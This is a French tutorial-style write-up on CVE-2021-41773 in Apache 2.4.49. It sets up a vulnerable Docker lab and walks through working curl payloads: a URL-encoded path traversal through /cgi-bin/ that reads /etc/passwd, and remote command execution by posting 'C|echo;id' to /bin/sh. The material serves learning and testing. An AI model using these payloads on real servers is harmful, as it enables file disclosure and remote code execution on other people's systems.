noflowpls/cve-2021-41773CVE-2021-41773
Salut les gars, hier la nouvelle CVE-2021-41773 pour Apache 2.4.49 est sortie. Dans ce cas, je veux expliquer cette vulnérabilité Apache.
Donc, je pense que vous voulez tester cette vulnérabilité sur un site web. J'ai donc un terrain de jeu pour vous. Voici le site pour télécharger l'image docker de l'exemple Apache 2.4.49 Image Docker
Note : il y a deux images, with-cgid et no-cgid. Vous devez télécharger les deux images.
Tout d'abord, téléchargez la docker image sur votre machine.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
Honnêtement, je ne sais pas comment il a pensé à trouver cette vulnérabilité. Je ne peux donc pas l'expliquer complètement. Mais je vais faire de mon mieux pour parler de tout ce que je comprends de cette CVE.
Cette CVE est assez intéressante car elle contient deux vulnérabilités. Ce sont LFDDivulgation de fichiers locaux et RCE Exécution de code à distance. Cool ! Dans cet article, j'expliquerai les deux vulnérabilités de cette CVE.
Commençons donc avec la vulnérabilité Divulgation de fichiers locaux. Si vous êtes familier avec Apache, vous remarquerez que cgi-bin (Common Gateway Interface) est le chemin par défaut qui définit la manière dont un serveur web interagit avec des programmes externes générateurs de contenu dans Apache 2.4.49.
Mais ce chemin est Forbidden pour tout le monde, même pour l'administrateur. Hmm, intéressant, non ?
Et si vous êtes familier avec la vulnérabilité Divulgation de fichiers locaux, vous savez peut-être que la plupart des vulnérabilités LFD se produisent dans des chemins interdits.
Testons donc des payloads LFI simples dans le chemin /cgi-bin/.
J'ai placé ../../../../../ avant /etc/paswd.
(Si vous voulez savoir ce qu'est ../, consultez cet article de blog Contournement de la divulgation de fichiers locaux)
Avec curl :
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd
Avec burpsuite :
Comme vous pouvez le voir, nous avons obtenu une erreur avec ce payload simple. Avec curl, nous avons obtenu le code de statut 404 (erreur Not Found) et avec Burp, nous avons obtenu une erreur 400 Bad Request.
Cela signifie que nous devons encoder notre payload en encodage URL. Essayons donc et voyons ce que nous obtenons.
J'ai donc encodé le . en URL. Note : . est %2E et aussi %2e dans l'encodage URL.
Avec curl :
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Avec Burp :
Oui ! Notre payload a fonctionné. Nous pouvons lire le /etc/passwd du site web.
J'espère que vous avez maintenant compris la vulnérabilité LFD de cette CVE. Continuons donc vers la vulnérabilité RCE de cette CVE Apache 2.4.49.
Pour expliquer la vulnérabilité RCE de cette CVE, vous devez comprendre quelques bases du RCE et des bases linux.
Consultez cet article de blog pour savoir Qu'est-ce que le RCE
Ah, je pense que vous avez cru que je me trompais en disant qu'il faut des bases linux. Non. Je n'ai pas dit une bêtise car nous en avons réellement besoin. Alors commençons !
Tout d'abord, laissez-moi vous montrer le payload fonctionnel et j'expliquerai comment il fonctionne.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Avec Curl :
Laissez-moi expliquer ce payload.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Comme vous pouvez le voir, le chemin /cgi-bin/ et l'encodage .%2e sont les mêmes. Mais il y a maintenant deux options supplémentaires. Il s'agit de -d data et /bin/sh /bin/bash. Laissez-moi expliquer pourquoi nous devons les mettre.
Tout d'abord, nous voulons obtenir une exécution de code à distance, n'est-ce pas ?
Comme vous le savez, dans les systèmes basés sur Linux, /bin/bash est l'élément principal pour exécuter et saisir des commandes et des shells. Nous avons donc besoin de bash pour exécuter nos commandes sur le serveur web. Consultez ceci Qu'est-ce que Bash sous Linux.
Bon, maintenant, disons que nous pouvons obtenir /bin/sh. Nous avons seulement besoin d'injecter nos commandes. Nous pouvons placer notre injection comme des données avec curl.
Notre payload est donc C|echo;id. Laissez-moi expliquer ce que c'est.
Donc C n'est rien. Nous pouvons mettre ce que nous voulons avant le |, comme Comdey|.
Le echo;id est juste une astuce linux. C'est pourquoi j'ai dit qu'il faut des bases linux Bases d'echo
Si nous mettons tout cela ensemble, nous obtenons une RCE dans Apache 2.4.49.
Merci d'avoir lu, les gars. C'est mon premier writeup pour des CVE. Pardonnez-moi si j'ai mal expliqué cela. Et s'il vous plaît, donnez-moi aussi des suggestions.
